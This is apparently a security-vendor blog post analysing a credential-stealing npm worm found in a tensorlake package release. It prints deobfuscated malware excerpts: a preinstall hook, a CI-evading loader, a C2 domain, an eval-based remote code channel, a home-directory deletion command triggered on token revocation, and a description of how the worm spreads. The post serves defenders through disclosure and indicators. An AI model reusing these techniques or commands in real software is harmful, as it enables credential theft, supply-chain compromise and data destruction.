On this page
We found a credential-stealing worm in [email protected]. It runs on install, and npm was serving
it as latest for a package with about 106,000 monthly downloads.
npm records the publish at 01:12:07 UTC. SafeDep’s automated analysis flagged it at 01:20 UTC (6:50 AM IST), eight minutes later.
The payload is a new build of Mini Shai-Hulud, the 2026 wave of the Shai-Hulud worm family. It is the same worm as in the keyv and cacheable compromise.
- Steals cloud, GitHub, npm, SSH, browser, and wallet credentials.
- Spreads through npm packages and GitHub repositories.
- Runs remote code from its command-and-control (C2) server.
- Deletes the home directory on some machines when someone revokes the stolen GitHub token.
npm removed the version. The maintainers reverted the source in
pull request #1016 and released 0.5.145.
What is new in this build
- A hard-coded C2 domain, iseekaigogo[.]com.
- A new Ethereum contract for C2 domain lookup.
- A browser password stealer.
- A remote code channel that runs C2 responses with eval.
- A known deletion handler, rm -rf ~/. The keyv analysis could not name it.
How the payload reached npm
The attacker did not need an npm token. They used a repository administrator account to commit
the payload to main through the GitHub web interface. Then they ran the project’s own release
workflow.
GitHub signs web interface commits, so all eight show as verified. The first preinstall edit
broke the JSON:
"lint": "eslint src/ tests/",
"prepack": "npm run build"
+ "preinstall": "node lib/setup.mjs"
},The fix came 19 minutes later. This suggests a person who edited files in a browser (inference).
On 8 October at 00:08 UTC, the account started
publish_npm.yaml by hand.
The build log shows the payload files in the tarball:
npm notice 856.5kB lib/Math_Symbol.js
npm notice 4.1kB lib/runtime.cjs
npm notice 32.6kB lib/setup.mjs
npm notice shasum: 843a898ab72793568d77c53ff9282e6ce7c66aea
npm notice Publishing to https://registry.npmjs.org/ with tag latest and public access- The release used npm trusted publishing.
- The sibling tensorlake-native-*@0.5.144packages carry valid SLSA provenance for this run. The provenance is valid for a build of poisoned source.
- The preinstallhook ran in this job and ended in 0.1 seconds. The loader skips CI, so the payload probably did not run on the runner (inference).
The loader
The shipped lib/setup.mjs uses RC4 string obfuscation. The worm carries a plain copy of it, which it plants in other
packages and repositories:
const V = '1.3.13';
const E = 'Math_Symbol.js';
/** Maintainer CI (GHA/GitLab/…) must not run stage2 — blocks `npm ci` for entire release matrix. */
function skipInstallHook() {
const ci = process.env.CI;
if (ci === 'true' || ci === '1') return true;
if (process.env.GITHUB_ACTIONS === 'true') return true;
if (process.env.GITLAB_CI === 'true') return true;
if (process.env.RUNNER_ENVIRONMENT === 'github-hosted') return true;
return false;
}
// ...
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;- It downloads Bun 1.3.13 from the official GitHub release.
- It runs Math_Symbol.jswith Bun.
- It exits on CI runners.
The shipped setup.mjs decodes to the same strings.
The payload
lib/Math_Symbol.js is 856,501 bytes. Its first line names the build:
globalThis.WORMTAG = 'tensrlake';Three layers hide the code:
- An obfuscator string array hides identifiers.
- A custom cipher hides configuration strings. It uses salt svksjrhjkcejg, the same as keyv.
- AES-256-GCM hides eleven embedded files, including scripts, hooks, and two RSA public keys.
All layers decode without running the sample. An earlier 849,332-byte build in the commit history has the same configuration.
Command and control
Snippets below are deobfuscated and keep the original identifiers.
((_0x42f92a = 'router'), (_0x41631a = 0x1bb), (_0x41767b = 'iseekaigogo.com'));The worm posts data to hxxps://iseekaigogo[.]com:443/router. If that fails, it tries:
- Ethereum. It reads contract 0xb614155Fd88114d40549b259457Bcf921Df091B9through 35 public RPC endpoints. On 8 October the contract returnediseekaigogo.com.
- Signed GitHub commits. It searches for thebeautifulmarchoftimeand trusts only commits signed with an embedded RSA key.
- Dead-drop repositories. It commits encrypted data to new public repositories with the
description Shai-Hulud: Here We Go Again.
Every C2 response can carry code. The worm runs it:
["applyRemoteCode"](_0x3cb209) {
let _0x5b9a01;
try { _0x5b9a01 = JSON["parse"](_0x3cb209); } catch { return; }
if (typeof _0x5b9a01["code"] !== "string" || _0x5b9a01["code"]["length"] === 0x0) return;
try { eval(_0x5b9a01["code"]); } catch (_0x1b02b9) { ... }
}After exfiltration, the worm pings the C2 every 45 to 90 seconds and runs any code it gets back.
What it collects
The browser binary runs as dump -b all -c password -f json. These arguments match
HackBrowserData (inference, the binary was not recovered). The worm exits on Russian locales.
The deletion watcher
The watcher arms only for stolen tokens whose account has no organizations:
if ((_0x392a9f['ok'] ? await _0x392a9f['json']() : [])['length'] === 0x0)
(_0x990158['log']('No orgs - handling.'), _0x361712['setIncludeToken'](!0x0));let _0x43c4c7 = process["platform"] === "win32" ? "Remove-Item -LiteralPath $env:USERPROFILE -Recurse -Force" : "rm -rf ~/";
(await this["installTokenMonitor"](this["token"], _0x43c4c7), ...);- gh-token-monitorchecks the token every 60 seconds for 24 hours.
- If GitHub returns 40x, for example after revocation, it deletes the home directory.
- It runs as a systemd user service, a macOS LaunchAgent, or a Windows scheduled task.
Remove gh-token-monitor before you revoke GitHub tokens.
Propagation
- npm tokens. It adds the payload and preinstallto every package the token can publish, bumps the patch version, and publishes.
- npm trusted publishing. In CI, it adds a git dependency and signs the package with Fulcio and Rekor.
- GitHub tokens. It commits Claude Code and VS Code hooks as author claude. It also plants aRun Copilotworkflow that dumps all repository secrets, then deletes the run and branch.
The hook files and workflow match the keyv post. See also configuration files that run code.
Two bugs in the code may limit spread:
- The npm path needs ./dist/Math_Symbol.json disk and stops without it.
- The planted loader looks for ai_init.js, but the worm writesmath_init.js.
Indicators of compromise
References
- malware
- npm
- supply-chain
- account-compromise
- config-files
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
One RubyGems account published 42 gems that run code during gem install. On a developer workstation, the gems open a reverse shell or download a second stage. They do nothing on CI runners and...
A malicious pull request against oxc led SafeDep to a larger campaign. The PolinRider loader family now reads its C2 servers from Ethereum transactions. SafeDep confirmed 35 GitHub repositories that...